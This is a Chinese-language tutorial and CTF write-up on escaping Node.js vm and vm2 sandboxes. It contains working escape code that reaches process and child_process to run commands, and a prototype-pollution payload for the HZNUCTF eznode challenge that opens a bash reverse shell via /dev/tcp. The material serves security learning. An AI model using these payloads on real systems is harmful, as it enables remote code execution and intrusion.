Nodejs vm/vm2沙箱逃逸

news2024/10/5 7:23:14

文章目录

    • 什么是沙箱以及VM?
    • vm模块
      • nodejs作用域
      • vm沙箱
      • vm沙箱逃逸
    • vm2
    • 例题分析:(待补充)
      • [HFCTF2020]JustEscape
      • [HZNUCTF 2023 final]eznode
    • 參考文章:

什么是沙箱以及VM?

什么是沙箱:

沙箱就是能够像一个集装箱一样,把你的应用“装”起来的技术。这样,应用与应用之间,就因为有了边界而不至于相互干扰而被装进集装箱的应用,也可以被方便地搬来搬去。

什么是VM:

VM就是虚拟环境,虚拟机,VM的特点就是不受环境的影响,也可以说他就是一个 沙箱环境 (沙箱模式给模块提供一个环境运行而不影响其它模块和它们私有的沙箱)类似于docker,docker是属于 Sandbox(沙箱) 的一种。

简而言之,vm提供了一个干净的独立环境,提供测试。

在Nodejs中,我们可以通过引入vm模块来创建一个“沙箱”,但其实这个vm模块的隔离功能并不完善,还有很多缺陷,因此Node后续升级了vm,也就是现在的vm2沙箱,vm2引用了vm模块的功能,并在其基础上做了一些优化。

vm模块

参考:https://xz.aliyun.com/t/11859#toc-1

nodejs作用域

用例子来解释很清晰

#1.js
var height1 = 175
exports.height = height1

Node给我们提供了一个将js文件中元素输出的接口exports

#2.js
const age = 20
const user = require("./1")

console.log(age)
console.log(user.height)

输出

20
175
image-20230412195829829

height的作用域是1.js,通过exports创建被require引入2.js

age的作用域是2.js

还有一个global作用域,就是全局变量。Nodejs下其他的所有属性和包都挂载在这个global对象下。在global下挂载了一些全局变量,我们在访问这些全局变量时不需要用global.xxx的方式来访问,直接用xxx就可以调用这个变量。举个例子,console就是挂载在global下的一个全局变量,我们在用console.log输出时并不需要写成global.console.log,其他常见全局变量还有process(一会逃逸要用到)。

我们可以自定义一个name的全局变量,

# 1.js
var height1 = 175
global.name = "ThnPkm"

exports.height = height1

全局变量则不需要exports创建

# 2.js
const age = 20
const user = require("./1")

console.log(age)
console.log(user.height)
console.log(name)

输出时也不需要user.name来引用,name直接是global变量

vm沙箱

前面提到了作用域这个概念,所以我们现在思考一下,如果想要实现沙箱的隔离作用,我们是不是可以创建一个新的作用域,让代码在这个新的作用域里面去运行,这样就和其他的作用域进行了隔离,这也就是vm模块运行的原理。

(在Node中一般把作用域叫上下文)

先来了解几个常用的vm模块的API:

  • vm.runinThisContext(code):在当前global下创建一个作用域(sandbox),并将接收到的参数当作代码运行。sandbox中可以访问到global中的属性,但无法访问其他包中的属性。

也就是说无法访问本地作用域,但可以访问当前的全局对象global

image-20230412205126896
# xxx.js
const vm = require('vm');
const local_var = "local";
const vm_var = vm.runInThisContext('local_var = "vm";');

console.log(vm_var); //vm
console.log(local_var); //local

无权访问本地作用域,所以 local_var 不变

  • vm.createContext([sandbox]): 在使用前需要先创建一个沙箱对象,再将沙箱对象传给该方法(如果没有则会生成一个空的沙箱对象),v8为这个沙箱对象在当前global外再创建一个作用域,此时这个沙箱对象就是这个作用域的全局对象,沙箱内部无法访问global中的属性。
  • vm.runInContext(code, contextifiedSandbox[, options]):参数为要执行的代码和创建完作用域的沙箱对象,代码会在传入的沙箱对象的上下文中执行,并且参数的值与沙箱内的参数值相同。
image-20230412205216692
const vm = require('vm');
global.global_var = 1;
const sandbox = { global_var: 2 };
vm.createContext(sandbox);  // 创建一个上下文隔离对象
vm.runInContext('global_var *=2;', sandbox);

console.log(sandbox); //{ global_var: 4 }
console.log(global_var); //1

这里,上下文中的globalVar在输出中为(2*2 = 4),但是globalVar的值仍为1,沙箱内部无法访问global中的属性。

  • vm.runInNewContext(code[, sandbox][, options]): creatContext和runInContext的结合版,传入要执行的代码和沙箱对象。
  • vm.Script类 vm.Script类型的实例包含若干预编译的脚本,这些脚本能够在特定的沙箱(或者上下文)中被运行。
  • new vm.Script(code, options):创建一个新的vm.Script对象只编译代码但不会执行它。编译过的vm.Script此后可以被多次执行。值得注意的是,code是不绑定于任何全局对象的,相反,它仅仅绑定于每次执行它的对象。
    code:要被解析的JavaScript代码
const vm = require('vm');
const sandbox = { animal: 'cat', count: 1 };
const script = new vm.Script('count +=1; name = "Tom";');  //编译code
const context = vm.createContext(sandbox);  // 创建一个上下文隔离对象
script.runInContext(context);   // 在指定的下文里执行code并返回其结果

console.log(sandbox); //{ animal: 'cat', count: 2, name: 'Tom' }

script对象可以通过runInContext运行

vm中最关键的就是 上下文context ,vm能逃逸出来的原理也就是因为 context 并没有拦截针对外部的 constructor__proto__等属性 的访问

vm沙箱逃逸

我们一般进行沙箱逃逸最后都是进行rce,那么在Node里要进行rce就需要procces了,在获取到process对象后我们就可以用require来导入child_process,再利用child_process执行命令。但process挂载在global上,但是我们上面说了在creatContext后是不能访问到global的,所以我们最终的目标是通过各种办法将global上的process引入到沙箱中。

看个逃逸例子:

const vm = require("vm");
const a = vm.runInNewContext(`this.constructor.constructor('return global')()`);
console.log(a.process);
image-20230412224634342

是如何实现的?

这里面的this指向的是当前传递给runInNewContext的对象,这个对象是不属于沙箱环境的

访问当前对象的构造器的构造器,也就是Function的构造器,由于继承关系,它的作用域是全局变量,执行代码,获取外部global。

拿到process对象就可以执行命令了:

const vm = require("vm");
const a = vm.runInNewContext(`this.constructor.constructor('return process')()`);
console.log(a.mainModule.require('child_process').execSync('whoami').toString());

console.log会执行node代码,从而调用构造器函数返回process对象导致rce.

vm2

vm模块的隔离作用可以说非常的差了。所以开发者在此基础上加以完善,推出了vm2模块

vm2相比vm做了很大的改进,其中之一就是利用了es6新增的 proxy 特性,从而拦截对诸如 constructor__proto__ 这些属性的访问

在vm2 中运行一段代码,如下

const {VM, VMScript} = require("vm2");

const script = new VMScript("let a = 2;a");

console.log((new VM()).run(script));

其中 VM 是vm2在vm的基础上封装的一个虚拟机,我们只需要实例化之后调用 run 方法即可运行一段脚本。

其原理如下

const {VM, VMScript} = require("vm2");

const script = new VMScript("let a = 2;a");

let vm = new VM();

console.log(vm.run(script));
image-20230412232316989

当我们创建一个VM的对象的时候,vm2内部引入了 contextify.js,并且针对上下文 context 进行了封装,最后调用 script.runInContext(context) ,可以看到,vm2最核心的操作就在于针对context的封装。

具体分析参考:https://www.anquanke.com/post/id/207283

vm2的版本一直都在更新迭代。github上许多历史版本的逃逸exp,附上链接:Issues · patriksimek/vm2 · GitHub

例题分析:(待补充)

[HFCTF2020]JustEscape

这题是利用vm逃逸直接打,需要绕过关键字过滤,

参考此文 这位师傅分析的很好

[HZNUCTF 2023 final]eznode

nss平台有

/app.js拿到源码

const express = require('express');
const app = express();
const { VM } = require('vm2');

app.use(express.json());

const backdoor = function () {
    try {
        new VM().run({}.shellcode);
    } catch (e) {
        console.log(e);
    }
}

const isObject = obj => obj && obj.constructor && obj.constructor === Object;
const merge = (a, b) => {
    for (var attr in b) {
        if (isObject(a[attr]) && isObject(b[attr])) {
            merge(a[attr], b[attr]);
        } else {
            a[attr] = b[attr];
        }
    }
    return a
}
const clone = (a) => {
    return merge({}, a);
}


app.get('/', function (req, res) {
    res.send("POST some json shit to /.  no source code and try to find source code");
});

app.post('/', function (req, res) {
    try {
        console.log(req.body)
        var body = JSON.parse(JSON.stringify(req.body));
        var copybody = clone(body)
        if (copybody.shit) {
            backdoor()
        }
        res.send("post shit ok")
    }catch(e){
        res.send("is it shit ?")
        console.log(e)
    }
})

app.listen(3000, function () {
    console.log('start listening on port 3000');
});

引用了vm2,有JSON.parse解析,并且存在merge方法,clone调用了merge,存在原型链污染漏洞

backdoor方法new VM().run({}.shellcode); 可以利用原型链污染到shellcode,进而rce

vm2 原型链污染导致沙箱逃逸 poc:

let res = import('./foo.js')
res.toString.constructor("return this")().process.mainModule.require("child_process").execSync("whoami").toString();

本题payload,注意分号;

想进backdoor首先满足if (copybody.shit)

{"shit":1,"__proto__":{"shellcode":"let res = import('./app.js'); res.toString.constructor(\"return this\") ().process.mainModule.require(\"child_process\").execSync('bash -c \"bash -i >& /dev/tcp/ip/port 0>&1\"').toString();"}} 

注意请求头为Content-Type: application/json

image-20230413110703728

參考文章:

https://xz.aliyun.com/t/11859#toc-5

https://www.anquanke.com/post/id/207283

https://xilitter.github.io/2023/01/31/vm%E6%B2%99%E7%AE%B1%E9%80%83%E9%80%B8%E5%88%9D%E6%8E%A2/index.html

https://www.cnblogs.com/zpchcbd/p/16899212.html

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/421571.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

Ansys Speos | 联合 optiSLang 背光板设计优化方案

在这个例子中,讲述如何建模一个典型的背光单元及其与亮度和均匀性有关的照度分布。其中一个关键特点是使用了Speos 3D Texture功能,这是最初开发的用于背光单元产品,并可用于设计导光板,亮度增强膜(BEF)和由数千/数百万组成的背光…

《程序员面试金典(第6版)》面试题 10.03. 搜索旋转数组(二分法,分钟思想,入门题目)

题目描述 搜索旋转数组。给定一个排序后的数组,包含n个整数,但这个数组已被旋转过很多次了,次数不详。请编写代码找出数组中的某个元素,假设数组元素原先是按升序排列的。若有多个相同元素,返回索引值最小的一个。 示例…

C学习笔记2

1、二进制由 0 和 1 两个数字组成,使用时必须以0b或0B(不区分大小写)开头 2、符号位进制形式进制数据 (进制形式决定后面的数据是哪种进制) 3、合法的二进制 int a 0b101; // 0b是二进制的进制形式 101是进制…

buildroot使用外部编译链编译bluez蓝牙工具

在开发ublox w263 wifi蓝牙时,之前是使用yocto系统集成编译出的bluez工具,减少了自己编译工具软件和依赖库的工作,切换项目使用原生linux系统后,所以的软件需要自己编译,不想编译每个依赖文件和库,所以使用…

Pytorch深度学习笔记(三)线性模型

目录 1.机械学习的过程 2.线性模型 推荐课程:2.线性模型_哔哩哔哩_bilibili 1.机械学习的过程 机械学习的过程: 1.准备数据集DataSet——>2.选择模型Model——>3.训练Training——>4.推理Infering 监督学习:用已知标签的训练样本训…

Spark大数据处理讲课笔记3.1 掌握RDD的创建

文章目录零、本节学习目标一、RDD为何物(一)RDD概念(二)RDD示例(三)RDD主要特征二、做好准备工作(一)准备文件1、准备本地系统文件2、启动HDFS服务3、上传文件到HDFS(二&…

4年软件测试工作经验,跳槽之后面试20余家公司的总结

先说一下自己的个人情况,普通二本计算机专业毕业,懂python,会写脚本,会selenium,会性能,然而离职后到今天都没有收到一份offer!一直在待业中,从离职第一天就开始准备简历&#xff0c…

快排的非递归实现

其思想与递归实现快排完全相同,可以先将第一次要排序的右边界和左边界先后入栈,然后判断栈 是否为空,不为空就出栈顶元素,并删除一次,由于栈是先进的后出,所以先出来的应该是左界, 再进行一次…

【C++】STL——unordered_map和unordered_set的介绍和使用

unordered_set和unordered_map的介绍和使用 文章目录unordered_set和unordered_map的介绍和使用一、unordered系列关联式容器二、unordered_set1.unordered_set的介绍2.unordered_set的构造方式3.unordered_set的函数接口说明4.unordered_multiset的介绍及使用三、unordered_ma…

【建议收藏】数据库 SQL 入门——约束(内附演示)

文章目录📚引言📖约束📑非空约束📑唯一约束📑主键约束📑默认约束📑检查约束📑外键约束🔖外键的添加🔖删除/更新外键📍总结📚引言 &…

【高危】Apache Linkis Gateway模块存在身份验证绕过漏洞(CVE-2023-27987)

漏洞描述 Apache Linkis 是一个用于将上层应用与底层数据引擎解耦,提供标准化接口的中间件。Gateway 是 Linkis 接受客户端和外部请求的主要入口点, 在 Apache Linkis 受影响版本中,由于在 Linkis Gateway 部署时产生的Token默认为LINKIS_C…

Linux打印口/LPT口出厂测试工具与使用说明

1 软件功能 该软件用于在Linux平台测试CH35X/CH38X(PCI/PCIe转串并口)的并口各引脚功能是否正常。方便对设备进行出厂测试。 2 并口测试硬件治具 在测试前,需要制作单独的硬件治具,按下表连接信号线: 25针并口座子堵…

面向削峰填谷的电动汽车多目标优化调度策略

说明书 MATLAB代码:面向削峰填谷的电动汽车多目标优化调度策略 关键词:电动汽车 削峰填谷 多目标 充放电优化 参考文档:店主自己整理的说明文档,公式、约束、数据齐全,可联系我查看 仿真平台:MATLAB YA…

iPhone如何不用iTunes将视频传输到电脑上?

随着智能手机的普及,iPhone已经成为了人们生活中必不可少的一部分。而随着iPhone摄像功能的逐渐完善,越来越多的用户开始将iPhone作为拍摄视频的工具。 但是,将iPhone中的视频传输到电脑并进行后续编辑处理或者备份储存,对于许多…

二极管专题:二极管钳位电路

二极管钳位电路 之前我们说过二极管的限幅功能 二极管专题:限幅电路。今天说的二极管的钳位电路和二极管的限幅电路都是利用了二极管正向压降一定的这么一个特点。限幅电路和钳位电路你说区别大呢,它也不大,说小呢也不小。就看你怎么理解了&…

Linux proc文件系统介绍

Linux proc文件系统 /proc/cmdline Arguments passed to the Linux kernel at boot time. Often done via a boot manager such as lilo(8) or grub(8) proc/[pid]/coredump_filter Since kernel 2.6.23, the Linux-specific /proc/PID/coredump_filter file can be used …

大数据项目实战之数据仓库:电商数据仓库系统——第6章 数据仓库环境准备

第6章 数据仓库环境准备 6.1 数据仓库运行环境 6.1.1 Hive环境搭建 1)Hive引擎简介 Hive引擎包括:默认MR、Tez、Spark。 Hive on Spark:Hive既作为存储元数据又负责SQL的解析优化,语法是HQL语法,执行引擎变成了Sp…

【收藏】2023欧洲 KubeCon 和云原生大会上关于WebAssembly的一切

KubeCon CloudNativeCon EU 2023将于4月18日至21日在阿姆斯特丹举行,对于云原生开发者和云原生用户是一年中无比期待的大会。会议为期四天,是保持云原生计算最新趋势,与同行建立联系,并从行业专家学习的绝佳机会。此外&#xff0…

2023年税务师事务所行业研究报告

第一章 行业发展概况 1.1 行业概况 税务师事务所是依法设立并承办法律、法规、规章规定的涉税服务和鉴证业务的社会中介机构。税务师事务所的组织形式为有限责任制税务师事务所和合伙制税务师事务所,以及国家税务总局规定的其他形式。税务师事务所应当依法纳税&am…

软件测试实验:静态测试

目录 前言 一、实验目的 二、实验内容 三、实验步骤 四、实验过程 1、学生宿舍管理系统代码 2、汇总表 3、C语言编码规范 总结 前言 软件测试是软件开发过程中不可或缺的一个环节,它可以保证软件的质量和功能,提高用户的满意度和信任度。软件测…